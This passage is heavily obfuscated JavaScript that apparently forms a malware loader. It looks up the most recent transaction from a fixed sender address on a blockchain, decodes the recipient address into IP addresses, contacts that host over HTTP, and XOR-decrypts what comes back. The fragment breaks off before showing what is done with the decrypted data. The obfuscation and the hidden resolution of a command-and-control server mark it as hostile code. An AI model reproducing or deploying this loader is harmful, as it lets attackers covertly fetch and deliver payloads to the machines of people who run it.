_0x1c751c[_0x3c7b14(0x1cd)](_0xfcd7a0,_0x27daf5);},'qofXT':_0x1c751c[_0x34d936(0x288)],'nHZqM':_0x1c751c[_0x34d936(0x286)],'pEmWS':_0x1c751c[_0x34d936(0x266)]},_0x588089=_0x3e9a84[_0x34d936(0x1e6)]({'hostname':_0x1ef1f2[_0x34d936(0x1eb)],'port':_0x1ef1f2[_0x34d936(0x240)]||(_0x1c751c[_0x34d936(0x22c)](_0x1c751c[_0x34d936(0x173)],_0x1ef1f2[_0x34d936(0x1bb)])?-0x3a1*0x2+0x226+0x6d7*0x1:0x1b13+-0x9d8+-0x10eb),'path':_0x1c751c[_0x34d936(0x243)](_0x1ef1f2[_0x34d936(0x23a)],_0x1ef1f2[_0x34d936(0x15d)]),'method':_0x242ec8,'agent':AGENTS[_0x1ef1f2[_0x34d936(0x1bb)]],'signal':_0x183ccb,'headers':_0x32ed04},_0x407a2c=>{const _0x1b9e4d=_0x34d936,_0x155860=_0x53e14a[_0x1b9e4d(0x20d)](decompressStream,_0x407a2c),_0x28baac=[];_0x155860['on'](_0x53e14a[_0x1b9e4d(0x1c0)],_0x30b7b9=>_0x28baac[_0x1b9e4d(0x223)](_0x30b7b9)),_0x155860['on'](_0x53e14a[_0x1b9e4d(0x247)],()=>{const _0x53c0f7=_0x1b9e4d,_0x397172=Buffer[_0x53c0f7(0x193)](_0x28baac)[_0x53c0f7(0x17b)](_0x53e14a[_0x53c0f7(0x181)])[_0x53c0f7(0x1f2)]();if(_0x53e14a[_0x53c0f7(0x251)](_0x407a2c[_0x53c0f7(0x1e7)],-0x1*-0x14fe+-0x1861+0x1*0x42b)||_0x53e14a[_0x53c0f7(0x16f)](_0x407a2c[_0x53c0f7(0x1e7)],-0x1*0x13e5+-0x1*0xf7f+-0x8*-0x492))return _0x53e14a[_0x53c0f7(0x1c4)](_0x40c87b,new Error(_0x53c0f7(0x1df)+_0x407a2c[_0x53c0f7(0x1e7)]+_0x53c0f7(0x150)+_0x1ef1f2[_0x53c0f7(0x1eb)]+':\x20'+_0x397172[_0x53c0f7(0x1cc)](-0x15b+0x2064+0x46f*-0x7,-0x10fb+0x878*0x4+-0x106d)));if(!_0x397172||_0x53e14a[_0x53c0f7(0x25c)]('<',_0x397172[-0x16c*0x1a+-0xf6+0x25ee])||_0x53e14a[_0x53c0f7(0x227)]('{',_0x397172[0x175e+-0x27f+0x1*-0x14df])&&_0x53e14a[_0x53c0f7(0x23b)]('[',_0x397172[-0x1cf0+-0x1ae1+0x129b*0x3]))return _0x53e14a[_0x53c0f7(0x1c4)](_0x40c87b,new Error(_0x53c0f7(0x1a3)+_0x53c0f7(0x1e2)+_0x1ef1f2[_0x53c0f7(0x1eb)]+':\x20'+_0x397172[_0x53c0f7(0x1cc)](-0x14ce+0x73b+-0x1*-0xd93,-0x619+-0x1c7f+-0x108*-0x22)));try{_0x53e14a[_0x53c0f7(0x1c4)](_0x1a02e6,JSON[_0x53c0f7(0x213)](_0x397172));}catch(_0x445d56){_0x53e14a[_0x53c0f7(0x1d6)](_0x40c87b,new Error(_0x53c0f7(0x160)+_0x53c0f7(0x1be)+_0x53c0f7(0x1b9)+_0x1ef1f2[_0x53c0f7(0x1eb)]+':\x20'+_0x445d56[_0x53c0f7(0x209)]));}}),_0x155860['on'](_0x53e14a[_0x1b9e4d(0x274)],_0x40c87b);});_0x588089['on'](_0x1c751c[_0x34d936(0x266)],_0x40c87b),_0x1c751c[_0x34d936(0x1b2)](null,_0x59b024)&&_0x588089[_0x34d936(0x235)](_0x59b024),_0x588089[_0x34d936(0x18e)]();});}async function withRpcEndpoints(_0x5c443a,_0x5cd40d){const _0x5502ef=_0x32ebc7,_0x2f62ac=RPC_ENDPOINTS[_0x5502ef(0x1b0)](()=>new AbortController());_0x2f62ac[_0x5502ef(0x275)](_0x350133=>linkAbort(_0x5cd40d,_0x350133));try{return await Promise[_0x5502ef(0x208)](RPC_ENDPOINTS[_0x5502ef(0x1b0)]((_0x407b1f,_0xd4b129)=>_0x5c443a(_0x407b1f,_0x2f62ac[_0xd4b129][_0x5502ef(0x206)])));}finally{for(const _0x2fb4fe of _0x2f62ac)_0x2fb4fe[_0x5502ef(0x162)]();}}async function rpcCall(_0xab486f,_0x48efd2,_0xbe9e4a,_0x1070e3){const _0x27688b=_0x32ebc7,_0x240574={'TeUiZ':function(_0x22e0ab,_0x57207f,_0x35b544){return _0x22e0ab(_0x57207f,_0x35b544);},'RYmwT':_0x27688b(0x25a),'fcwUA':_0x27688b(0x276)};return(await _0x240574[_0x27688b(0x1f8)](httpRequest,_0xab486f,{'method':_0x240574[_0x27688b(0x27c)],'body':JSON[_0x27688b(0x216)]({'jsonrpc':_0x240574[_0x27688b(0x1cf)],'id':0x1,'method':_0x48efd2,'params':_0xbe9e4a}),'signal':_0x1070e3}))[_0x27688b(0x24e)];}async function rpcBatch(_0x233952,_0x78c57,_0x4d72e7){const _0x1c1ec6=_0x32ebc7,_0x17baef={'EwrYS':function(_0x2028fe,_0x5a3ca5,_0x2cadf9){return _0x2028fe(_0x5a3ca5,_0x2cadf9);},'JsHiI':_0x1c1ec6(0x25a)},_0x1772d1=await _0x17baef[_0x1c1ec6(0x26c)](httpRequest,_0x233952,{'method':_0x17baef[_0x1c1ec6(0x1dc)],'body':JSON[_0x1c1ec6(0x216)](_0x78c57[_0x1c1ec6(0x1b0)](([_0x30f886,_0x5173de],_0x44e73f)=>({'jsonrpc':_0x1c1ec6(0x276),'id':_0x44e73f+(0x1*0x72b+0x42e*-0x1+-0x2fc),'method':_0x30f886,'params':_0x5173de}))),'signal':_0x4d72e7}),_0x4f54b5=new Map(_0x1772d1[_0x1c1ec6(0x1b0)](_0x5a01cc=>[_0x5a01cc['id'],_0x5a01cc]));return _0x78c57[_0x1c1ec6(0x1b0)]((_0x41dc1b,_0xe90ad6)=>_0x4f54b5[_0x1c1ec6(0x246)](_0xe90ad6+(0x3e7+0x8*0x2f0+-0xe*0x1f5))[_0x1c1ec6(0x24e)]);}const toBlockHex=_0x2f9a04=>'0x'+_0x2f9a04[_0x32ebc7(0x17b)](-0x3*-0xba3+-0x11be+0x1*-0x111b);function findSenderTx(_0x4bb0dd){const _0x44b3fe=_0x32ebc7;return _0x4bb0dd[_0x44b3fe(0x1a2)](_0x495067=>_0x495067[_0x44b3fe(0x267)]&&_0x495067[_0x44b3fe(0x267)][_0x44b3fe(0x1bc)+'e']()===SENDER)||null;}function decodeAddress(_0x378300){const _0x36929c=_0x32ebc7,_0x21720c={'bIYbo':_0x36929c(0x200),'phUVL':function(_0x4b1eac,_0x12a8c6){return _0x4b1eac(_0x12a8c6);}},_0x3da8b7=Buffer[_0x36929c(0x267)](_0x378300[_0x36929c(0x1f9)](/^0x/i,''),_0x21720c[_0x36929c(0x15b)]),_0x38d78f=_0x2e8963=>_0x2e8963[0x6f+0x24a5+-0x2514]+'.'+_0x2e8963[0xde+-0x6*-0x251+-0xec3]+'.'+_0x2e8963[0x1445*-0x1+-0x1*-0x21ff+-0xdb8]+'.'+_0x2e8963[0x787*-0x1+0x119f+-0xa15*0x1];return[_0x21720c[_0x36929c(0x23c)](_0x38d78f,_0x3da8b7[_0x36929c(0x252)](0xa62+-0x253b*0x1+0x1ad9,0x1ca7+-0x2*-0xcba+0x1*-0x3617)),_0x21720c[_0x36929c(0x23c)](_0x38d78f,_0x3da8b7[_0x36929c(0x252)](0x482+-0x13bc*0x1+-0xf3e*-0x1,-0x923*-0x3+-0x25b2+0x13*0x8b))];}function _0x5ce2(_0x14c1d7,_0xb18cd8){_0x14c1d7=_0x14c1d7-(0x10da+-0x9*-0x367+-0x2e2a);const _0x4c52ba=_0x2976();let _0xa2928=_0x4c52ba[_0x14c1d7];return _0xa2928;}function firstMatch(_0xd6b05){const _0x593996={'Dwgab':function(_0x161e00,_0x4a6700){return _0x161e00(_0x4a6700);},'xPpyf':function(_0x4d03e1,_0x539535){return _0x4d03e1===_0x539535;},'rPgam':function(_0xd0a9fa,_0x43556a){return _0xd0a9fa(_0x43556a);},'tItJu':function(_0x217b24,_0x4c9938){return _0x217b24!==_0x4c9938;},'XLlwM':function(_0x5e3393,_0x1ba674){return _0x5e3393(_0x1ba674);},'cxOxO':function(_0x479e08,_0xcc1323){return _0x479e08(_0xcc1323);}};return new Promise(_0x146b8a=>{const _0x15fea5=_0x5ce2,_0x11a511={'DXZHs':function(_0x1af50c,_0x2c0a24){const _0x153bb3=_0x5ce2;return _0x593996[_0x153bb3(0x284)](_0x1af50c,_0x2c0a24);},'LRJck':function(_0x41fab7,_0x2c2b02){const _0x5626ad=_0x5ce2;return _0x593996[_0x5626ad(0x1ec)](_0x41fab7,_0x2c2b02);}};let _0x40d833=_0xd6b05[_0x15fea5(0x186)];if(!_0x40d833)return _0x593996[_0x15fea5(0x257)](_0x146b8a,null);let _0x1c007d=!(-0xb*0x33e+0x116f*-0x1+0x351a);const _0x4f6d03=_0x3be8d8=>{const _0x5c885d=_0x15fea5;if(!_0x1c007d){_0x1c007d=!(-0x126e+-0x13d6+0x2644);for(const _0x12c43 of _0xd6b05)_0x12c43[_0x5c885d(0x17e)][_0x5c885d(0x162)]();_0x593996[_0x5c885d(0x20e)](_0x146b8a,_0x3be8d8);}};for(const _0x5f327e of _0xd6b05)_0x5f327e[_0x15fea5(0x1c1)]()[_0x15fea5(0x1de)](_0x24263a=>{const _0x4cf169=_0x15fea5;_0x1c007d||(_0x24263a?_0x593996[_0x4cf169(0x20e)](_0x4f6d03,_0x24263a):_0x593996[_0x4cf169(0x238)](0xd3e+-0x1*0x358+-0x16a*0x7,--_0x40d833)&&_0x593996[_0x4cf169(0x169)](_0x146b8a,null));})[_0x15fea5(0x221)](()=>{const _0x4a4ec4=_0x15fea5;_0x1c007d||_0x11a511[_0x4a4ec4(0x259)](0x19b7+-0x1c6d+0x2b6*0x1,--_0x40d833)||_0x11a511[_0x4a4ec4(0x157)](_0x146b8a,null);});});}function candidateBlocks(_0x35db85){const _0x1719d0=_0x32ebc7,_0x451a41={'OtppN':function(_0x579782,_0x3ca5be){return _0x579782-_0x3ca5be;},'Nfhoz':function(_0x4ff152,_0x4af7ed){return _0x4ff152-_0x4af7ed;},'WtCJu':function(_0x3f3a7e,_0x1d73ae){return _0x3f3a7e+_0x1d73ae;},'ROTcR':function(_0x508f2f,_0x4ec2d5){return _0x508f2f<_0x4ec2d5;}},_0x36c5ad=_0x451a41[_0x1719d0(0x17c)](_0x35db85,BLOCK_MULTIPLE),_0x588609=new Set(),_0x58c4e7=[];for(const _0x25e7e9 of[_0x451a41[_0x1719d0(0x158)](_0x35db85,0x1n),_0x35db85,_0x451a41[_0x1719d0(0x27f)](_0x35db85,0x1n),_0x451a41[_0x1719d0(0x158)](_0x36c5ad,0x1n),_0x36c5ad,_0x451a41[_0x1719d0(0x27f)](_0x36c5ad,0x1n)]){if(_0x451a41[_0x1719d0(0x155)](_0x25e7e9,0x0n))continue;const _0x5ce2a1=_0x25e7e9[_0x1719d0(0x17b)]();_0x588609[_0x1719d0(0x21b)](_0x5ce2a1)||(_0x588609[_0x1719d0(0x1bd)](_0x5ce2a1),_0x58c4e7[_0x1719d0(0x223)](_0x25e7e9));}return _0x58c4e7;}function blockTask(_0x444917){const _0x287667={'gVHhx':function(_0x4bfebb,_0x18a8b0,_0x147f18){return _0x4bfebb(_0x18a8b0,_0x147f18);},'HmyqH':function(_0x4ea865,_0x27dc80){return _0x4ea865(_0x27dc80);}},_0x25f159=new AbortController();return{'controller':_0x25f159,'run':async()=>{const _0xecc7f8=_0x5ce2,_0x3b93a3=await _0x287667[_0xecc7f8(0x1ce)](withRpcEndpoints,(_0x3df153,_0x451c17)=>rpcCall(_0x3df153,_0xecc7f8(0x19b)+_0xecc7f8(0x1f3),[toBlockHex(_0x444917),!(0x1a56+0x1c98+-0xb2*0x4f)],_0x451c17),_0x25f159[_0xecc7f8(0x206)]),_0x22bc28=_0x3b93a3?.[_0xecc7f8(0x1d2)+'ns'];if(!Array[_0xecc7f8(0x1d8)](_0x22bc28))return null;const _0x1fd138=_0x287667[_0xecc7f8(0x1c8)](findSenderTx,_0x22bc28);return _0x1fd138?{'blockNumber':_0x444917,'tx':_0x1fd138}:null;}};}async function nonceAtBlocks(_0x4472b0,_0x1da9aa){const _0x3140cc=_0x32ebc7,_0x3bd1f1={'ImhvX':function(_0x54cebb,_0x271e9f,_0x3c006e){return _0x54cebb(_0x271e9f,_0x3c006e);}},_0x363cfe=_0x4472b0[_0x3140cc(0x1b0)](_0x4f3ac4=>[_0x3140cc(0x228)+_0x3140cc(0x24b)+_0x3140cc(0x254),[SENDER,toBlockHex(_0x4f3ac4)]]);try{return(await _0x3bd1f1[_0x3140cc(0x258)](withRpcEndpoints,(_0x34fa90,_0x2b8576)=>rpcBatch(_0x34fa90,_0x363cfe,_0x2b8576),_0x1da9aa))[_0x3140cc(0x1b0)](BigInt);}catch{return(await Promise[_0x3140cc(0x26d)](_0x363cfe[_0x3140cc(0x1b0)](([_0x498633,_0x3e3f79])=>withRpcEndpoints((_0x176836,_0x181a3b)=>rpcCall(_0x176836,_0x498633,_0x3e3f79,_0x181a3b),_0x1da9aa))))[_0x3140cc(0x1b0)](BigInt);}}async function lastSenderTx(_0x245044){const _0x548ae6=_0x32ebc7,_0x3f8b92={'wClIb':function(_0x2ec092,_0x222cc9){return _0x2ec092(_0x222cc9);},'pVvFH':function(_0x19fd38,_0xd91ac6,_0x23a2a4){return _0x19fd38(_0xd91ac6,_0x23a2a4);},'OAadt':function(_0x707a06,_0x44cceb){return _0x707a06-_0x44cceb;},'vfybc':function(_0x5a802f,_0x48536e){return _0x5a802f-_0x48536e;},'lAfgW':function(_0x2eb1ee,_0x533dda){return _0x2eb1ee>_0x533dda;},'JQFEC':function(_0xe8db82,_0xdee992){return _0xe8db82-_0xdee992;},'KSYbs':function(_0x2dc5ef,_0x2c62a6){return _0x2dc5ef(_0x2c62a6);},'gyrez':function(_0x527010,_0x570a19){return _0x527010(_0x570a19);},'HlkfO':function(_0x332513,_0x345d0e){return _0x332513<=_0x345d0e;},'GbHUs':function(_0x24d1bf,_0x288bcb){return _0x24d1bf+_0x288bcb;},'jSDuK':function(_0x2e0e52,_0x49568c){return _0x2e0e52/_0x49568c;},'QywDW':function(_0x5564ee,_0x57323d){return _0x5564ee*_0x57323d;},'Dwetk':function(_0x1103f5,_0x4c4181){return _0x1103f5-_0x4c4181;},'KarYB':function(_0x152806,_0x1c9e47){return _0x152806+_0x1c9e47;},'paFrm':function(_0x4801d1,_0x5681c0,_0x530464){return _0x4801d1(_0x5681c0,_0x530464);},'RZonu':function(_0x5931b3,_0x23d241){return _0x5931b3===_0x23d241;},'NQkqG':function(_0x448664,_0x4d9a48){return _0x448664-_0x4d9a48;},'tpATb':function(_0x340e4c,_0x48f9d1){return _0x340e4c>_0x48f9d1;},'qiIzp':function(_0x53e099,_0x20a73e){return _0x53e099===_0x20a73e;},'HYLVl':function(_0x12f4fc,_0x4f793d){return _0x12f4fc===_0x4f793d;},'sHZmR':function(_0x2833c6,_0x3986cb){return _0x2833c6(_0x3986cb);},'nJAqX':function(_0x2e0cec,_0x34bffc){return _0x2e0cec(_0x34bffc);}},_0x14b0d8=new AbortController();try{const _0x24739f=_0x245044??_0x3f8b92[_0x548ae6(0x222)](BigInt,await _0x3f8b92[_0x548ae6(0x1d1)](withRpcEndpoints,(_0x2aeb1e,_0x204973)=>rpcCall(_0x2aeb1e,_0x548ae6(0x1d5)+_0x548ae6(0x161),[],_0x204973),_0x14b0d8[_0x548ae6(0x206)])),_0x54c431=_0x3f8b92[_0x548ae6(0x222)](BigInt,await _0x3f8b92[_0x548ae6(0x1d1)](withRpcEndpoints,(_0x52d7e3,_0x3aecba)=>rpcCall(_0x52d7e3,_0x548ae6(0x228)+_0x548ae6(0x24b)+_0x548ae6(0x254),[SENDER,toBlockHex(_0x24739f)],_0x3aecba),_0x14b0d8[_0x548ae6(0x206)])),_0x5cf9e1=_0x3f8b92[_0x548ae6(0x1d7)](_0x54c431,0x1n);let _0x4d3b93=_0x3f8b92[_0x548ae6(0x18f)](SEARCH_FLOOR,0x1n),_0x47834d=_0x24739f;for(;_0x3f8b92[_0x548ae6(0x27b)](_0x3f8b92[_0x548ae6(0x18f)](_0x47834d,_0x4d3b93),0x1n);){const _0x12f1f7=_0x3f8b92[_0x548ae6(0x18f)](_0x3f8b92[_0x548ae6(0x237)](_0x47834d,_0x4d3b93),0x1n),_0x5341ca=_0x3f8b92[_0x548ae6(0x18a)](BigInt,Math[_0x548ae6(0x245)](NONCE_FANOUT,_0x3f8b92[_0x548ae6(0x1a7)](Number,_0x12f1f7))),_0x1c604f=[];for(let _0x16488c=0x1n;_0x3f8b92[_0x548ae6(0x17f)](_0x16488c,_0x5341ca);_0x16488c+=0x1n)_0x1c604f[_0x548ae6(0x223)](_0x3f8b92[_0x548ae6(0x21f)](_0x4d3b93,_0x3f8b92[_0x548ae6(0x1af)](_0x3f8b92[_0x548ae6(0x1e0)](_0x16488c,_0x3f8b92[_0x548ae6(0x230)](_0x47834d,_0x4d3b93)),_0x3f8b92[_0x548ae6(0x1ee)](_0x5341ca,0x1n))));const _0x38ae16=(await _0x3f8b92[_0x548ae6(0x1b5)](nonceAtBlocks,_0x1c604f,_0x14b0d8[_0x548ae6(0x206)]))[_0x548ae6(0x1e9)](_0x141ea6=>_0x141ea6>=_0x54c431);_0x3f8b92[_0x548ae6(0x25d)](-(0x67d*-0x1+0x9*0x23b+-0xd95),_0x38ae16)?_0x4d3b93=_0x1c604f[_0x3f8b92[_0x548ae6(0x187)](_0x1c604f[_0x548ae6(0x186)],-0x22*0x119+-0x26*-0xd7+0x569)]:(_0x47834d=_0x1c604f[_0x38ae16],_0x3f8b92[_0x548ae6(0x262)](_0x38ae16,0x1fa9+-0x13*-0x187+-0x3cae)&&(_0x4d3b93=_0x1c604f[_0x3f8b92[_0x548ae6(0x230)](_0x38ae16,-0xf36+-0x5c7*0x1+0x14fe*0x1)]));}const _0x17ba7e=await _0x3f8b92[_0x548ae6(0x1d1)](withRpcEndpoints,(_0x543ba0,_0x13219e)=>rpcCall(_0x543ba0,_0x548ae6(0x19b)+_0x548ae6(0x1f3),[toBlockHex(_0x47834d),!(-0x1885+-0x18fd*-0x1+-0x78)],_0x13219e),_0x14b0d8[_0x548ae6(0x206)]),_0x28f9a9=_0x17ba7e?.[_0x548ae6(0x1d2)+'ns']||[];let _0x2acbef=null;for(const _0x444acc of _0x28f9a9)if(_0x444acc[_0x548ae6(0x267)]&&_0x3f8b92[_0x548ae6(0x167)](_0x444acc[_0x548ae6(0x267)][_0x548ae6(0x1bc)+'e'](),SENDER)){if(_0x3f8b92[_0x548ae6(0x1fb)](_0x3f8b92[_0x548ae6(0x18a)](BigInt,_0x444acc[_0x548ae6(0x263)]),_0x5cf9e1)){_0x2acbef=_0x444acc;break;}(!_0x2acbef||_0x3f8b92[_0x548ae6(0x262)](_0x3f8b92[_0x548ae6(0x244)](BigInt,_0x444acc[_0x548ae6(0x263)]),_0x3f8b92[_0x548ae6(0x233)](BigInt,_0x2acbef[_0x548ae6(0x263)])))&&(_0x2acbef=_0x444acc);}return{'blockNumber':_0x47834d,'tx':_0x2acbef};}finally{_0x14b0d8[_0x548ae6(0x162)]();}}async function lastSenderTxViaIndexer(){const _0x2f91fc=_0x32ebc7,_0x34d593={'jisND':function(_0x2c5f74,_0x2ff29b){return _0x2c5f74(_0x2ff29b);},'KhulI':function(_0x3cd32b,_0x2b3965){return _0x3cd32b(_0x2b3965);}},_0x5aa52d=INDEXER_URL+(_0x2f91fc(0x1fa)+_0x2f91fc(0x210)+_0x2f91fc(0x1e4)+_0x2f91fc(0x1ff))+SENDER+(_0x2f91fc(0x1ed)+_0x2f91fc(0x1ef)+_0x2f91fc(0x18b)+_0x2f91fc(0x287)+_0x2f91fc(0x283)+_0x2f91fc(0x1ab)+_0x2f91fc(0x25f)+'om'),_0x59f58c=await _0x34d593[_0x2f91fc(0x159)](httpRequest,_0x5aa52d),_0x3f975e=(Array[_0x2f91fc(0x1d8)](_0x59f58c?.[_0x2f91fc(0x24e)])?_0x59f58c[_0x2f91fc(0x24e)]:[])[_0x2f91fc(0x1a2)](_0x2cf7e8=>_0x2cf7e8[_0x2f91fc(0x267)]&&_0x2cf7e8[_0x2f91fc(0x267)][_0x2f91fc(0x1bc)+'e']()===SENDER);return{'blockNumber':_0x34d593[_0x2f91fc(0x16b)](BigInt,_0x3f975e[_0x2f91fc(0x1ad)+'r']),'tx':_0x3f975e};}async function run(){const _0x5189a7=_0x32ebc7,_0x18d916={'wVsnn':function(_0x5424f9,_0x5c5529){return _0x5424f9<_0x5c5529;},'uZOyl':function(_0x57d89a,_0x2e4ac1){return _0x57d89a%_0x2e4ac1;},'QURKH':_0x5189a7(0x1f4),'MQdsj':_0x5189a7(0x1a8)+_0x5189a7(0x265),'zROSG':_0x5189a7(0x278)+_0x5189a7(0x1a9)+'4','TBqIc':function(_0x1a3d16,_0x475551){return _0x1a3d16(_0x475551);},'lXKSQ':_0x5189a7(0x1ac),'lhkFZ':function(_0x1dffdf,_0x5f0cb2){return _0x1dffdf===_0x5f0cb2;},'ktMtm':_0x5189a7(0x224),'cloXp':_0x5189a7(0x195),'eCgpk':_0x5189a7(0x18e),'etZJj':_0x5189a7(0x20b),'fycDG':function(_0x9d84ca,_0x2e2d09){return _0x9d84ca(_0x2e2d09);},'IKuUS':function(_0x13fc7a,_0x4307d2){return _0x13fc7a(_0x4307d2);},'WZVoL':_0x5189a7(0x1c9)+_0x5189a7(0x261),'KtLZE':function(_0x1017a7,_0x464250){return _0x1017a7+_0x464250;},'pMcRf':_0x5189a7(0x16d)+_0x5189a7(0x18d)+_0x5189a7(0x1e1)+_0x5189a7(0x1fc)+_0x5189a7(0x21a)+_0x5189a7(0x272)+_0x5189a7(0x164)+_0x5189a7(0x1fe)+_0x5189a7(0x15f)+_0x5189a7(0x1a1)+_0x5189a7(0x15e)+'6','csPSI':function(_0x3d56e3,_0x4c5468){return _0x3d56e3(_0x4c5468);},'dVtRN':_0x5189a7(0x178),'toQCY':function(_0x3044bb,_0x1afdd5,_0x55fb4e){return _0x3044bb(_0x1afdd5,_0x55fb4e);},'DPZMj':function(_0x2507af,_0x4ee82f){return _0x2507af(_0x4ee82f);},'rBNGd':function(_0x4ddcbd,_0x455a34,_0x321aec,_0x211cc5){return _0x4ddcbd(_0x455a34,_0x321aec,_0x211cc5);},'UaMqV':_0x5189a7(0x201),'SSKrF':_0x5189a7(0x188),'CLSEy':function(_0x4474ad,_0xb449f9){return _0x4474ad-_0xb449f9;},'AQfhj':function(_0x1040d7,_0x98bcb6){return _0x1040d7(_0x98bcb6);},'gWyNb':function(_0x58c344,_0x1a9247){return _0x58c344(_0x1a9247);},'WVxbp':function(_0xf08601,_0x3ce163){return _0xf08601(_0x3ce163);},'MtIwI':function(_0x1f9a12,_0x39c0a2,_0x3a9b51,_0x12fb9a){return _0x1f9a12(_0x39c0a2,_0x3a9b51,_0x12fb9a);},'VLmnK':_0x5189a7(0x24a)+_0x5189a7(0x22d),'YrZWv':function(_0x3efe89,_0x289f71,_0x3db0cd,_0x2539fc){return _0x3efe89(_0x289f71,_0x3db0cd,_0x2539fc);},'kIXwj':_0x5189a7(0x151)+_0x5189a7(0x1e5)},_0x178c83=_0x18d916[_0x5189a7(0x1f1)](BigInt,await _0x18d916[_0x5189a7(0x1b6)](withRpcEndpoints,(_0x1e8626,_0x42654f)=>rpcCall(_0x1e8626,_0x5189a7(0x1d5)+_0x5189a7(0x161),[],_0x42654f))),_0x45b308=_0x18d916[_0x5189a7(0x153)](_0x178c83,_0x18d916[_0x5189a7(0x269)](_0x178c83,BLOCK_MULTIPLE));let _0x27a1e4=await _0x18d916[_0x5189a7(0x1da)](firstMatch,_0x18d916[_0x5189a7(0x289)](candidateBlocks,_0x45b308)[_0x5189a7(0x1b0)](blockTask));_0x27a1e4||(_0x27a1e4=await _0x18d916[_0x5189a7(0x23e)](lastSenderTx,_0x178c83)[_0x5189a7(0x221)](()=>lastSenderTxViaIndexer()));const [_0x1f1c13,_0x171f19]=_0x18d916[_0x5189a7(0x289)](decodeAddress,_0x27a1e4['tx']['to']),_0x551483=global;function _0x197680(_0x4bbfc4,_0x4d8eae){const _0xec59c0=_0x5189a7,_0x2092d9={'hostname':_0x4d8eae[_0xec59c0(0x1eb)],'port':_0x18d916[_0xec59c0(0x271)](Number,_0x4d8eae[_0xec59c0(0x240)])||0x1007+-0xa0c+-0x5ab,'path':_0x18d916[_0xec59c0(0x225)](_0x4d8eae[_0xec59c0(0x23a)],_0x4d8eae[_0xec59c0(0x15d)]),'headers':{'User-Agent':_0x18d916[_0xec59c0(0x16e)],'Sec-V':_0x551483['_V']||-0x2003+-0x19f*0x17+0xa*0x6ee}};function _0x178336(_0x5e589d){const _0x536726=_0xec59c0,_0x25b8fa=_0x4bbfc4[_0x536726(0x186)];for(let _0x5e117e=0x2369+0x6*0x551+0x434f*-0x1;_0x18d916[_0x536726(0x26b)](_0x5e117e,_0x5e589d[_0x536726(0x186)]);_0x5e117e++)_0x5e589d[_0x5e117e]^=_0x4bbfc4[_0x536726(0x184)](_0x18d916[_0x536726(0x269)](_0x5e117e,_0x25b8fa));return _0x5e589d[_0x536726(0x17b)](_0x18d916[_0x536726(0x163)]);}function _0x8edbb2(_0x15a55b){const _0x165fd4=_0xec59c0,_0x33cc83=_0x15a55b[_0x165fd4(0x1c5)][_0x18d916[_0x165fd4(0x1db)]];if(!_0x33cc83)throw new Error(_0x18d916[_0x165fd4(0x218)]);return _0x18d916[_0x165fd4(0x271)](_0x178336,Buffer[_0x165fd4(0x267)](_0x33cc83,_0x18d916[_0x165fd4(0x197)]));}function _0x2eb02e(_0x214865){const _0x38de60=_0xec59c0,_0x1b4d01={'WPTDR':function(_0x1e1409,_0x481aef){const _0x1a2e48=_0x5ce2;return _0x18d916[_0x1a2e48(0x1dd)](_0x1e1409,_0x481aef);},'ksFrG':_0x18d916[_0x38de60(0x212)],'ztsJi':function(_0x24a268,_0x35b787){const _0x1776f9=_0x38de60;return _0x18d916[_0x1776f9(0x271)](_0x24a268,_0x35b787);},'cLZWW':_0x18d916[_0x38de60(0x15a)],'goaMs':_0x18d916[_0x38de60(0x202)],'iuuQj':_0x18d916[_0x38de60(0x24d)],'jRFnt':function(_0x2e7914,_0x2a0a52){const _0x300641=_0x38de60;return _0x18d916[_0x300641(0x1f1)](_0x2e7914,_0x2a0a52);},'VqHoL':_0x18d916[_0x38de60(0x1db)],'CNzgK':function(_0x4e45d2,_0x32da94){const _0x53d3d2=_0x38de60;return _0x18d916[_0x53d3d2(0x22a)](_0x4e45d2,_0x32da94);},'aMSbx':_0x18d916[_0x38de60(0x26a)]};return new Promise((_0x5a383e,_0x5151d5)=>{const _0x56bb24=_0x38de60,_0x4e4fae={'atcEx':function(_0x3d7d75,_0x3c371a){const _0x3c7254=_0x5ce2;return _0x1b4d01[_0x3c7254(0x170)](_0x3d7d75,_0x3c371a);},'Dtfma':_0x1b4d01[_0x56bb24(0x183)],'tbhzo':function(_0xbcb27f,_0x5e12cd){const _0xfaf604=_0x56bb24;return _0x1b4d01[_0xfaf604(0x219)](_0xbcb27f,_0x5e12cd);},'UMBCF':_0x1b4d01[_0x56bb24(0x250)],'LarGF':function(_0x5ad622,_0x4492eb){const _0x262ce5=_0x56bb24;return _0x1b4d01[_0x262ce5(0x185)](_0x5ad622,_0x4492eb);}},_0x4a7d04=http[_0x56bb24(0x1e6)]({..._0x2092d9,'method':_0x214865},_0x20c790=>{const _0x4d5379=_0x56bb24;if(_0x1b4d01[_0x4d5379(0x174)](_0x1b4d01[_0x4d5379(0x19c)],_0x214865)){try{_0x1b4d01[_0x4d5379(0x185)](_0x5a383e,_0x1b4d01[_0x4d5379(0x185)](_0x8edbb2,_0x20c790));}catch(_0x559ff6){_0x1b4d01[_0x4d5379(0x185)](_0x5151d5,_0x559ff6);}return void _0x20c790[_0x4d5379(0x27d)]();}const _0x402132=[];_0x20c790['on'](_0x1b4d01[_0x4d5379(0x242)],_0x56f1f2=>_0x402132[_0x4d5379(0x223)](_0x56f1f2)),_0x20c790['on'](_0x1b4d01[_0x4d5379(0x1aa)],()=>{const _0x88e681=_0x4d5379;try{const _0x3207d4=Buffer[_0x88e681(0x193)](_0x402132);if(_0x3207d4[_0x88e681(0x186)])return _0x4e4fae[_0x88e681(0x1f7)](_0x5a383e,_0x4e4fae[_0x88e681(0x1f7)](_0x178336,_0x3207d4));if(_0x20c790[_0x88e681(0x1c5)][_0x4e4fae[_0x88e681(0x239)]])return _0x4e4fae[_0x88e681(0x20f)](_0x5a383e,_0x4e4fae[_0x88e681(0x20f)](_0x8edbb2,_0x20c790));_0x4e4fae[_0x88e681(0x1f7)](_0x5151d5,new Error(_0x4e4fae[_0x88e681(0x25b)]));}catch(_0x1a5acd){_0x4e4fae[_0x88e681(0x203)](_0x5151d5,_0x1a5acd);}}),_0x20c790['on'](_0x1b4d01[_0x4d5379(0x204)],_0x5151d5);});_0x4a7d04['on'](_0x1b4d01[_0x56bb24(0x204)],_0x5151d5),_0x4a7d04[_0x56bb24(0x18e)]();});}return _0x18d916[_0xec59c0(0x1b6)](_0x2eb02e,_0x18d916[_0xec59c0(0x24c)])[_0xec59c0(0x221)](()=>_0x2eb02e(_0xec59c0(0x224)));}async function _0xf8025e(_0x51e5ce,_0x29a925,_0x1e1040){const _0x56e10a=_0x5189a7;try{const _0x56578e=await 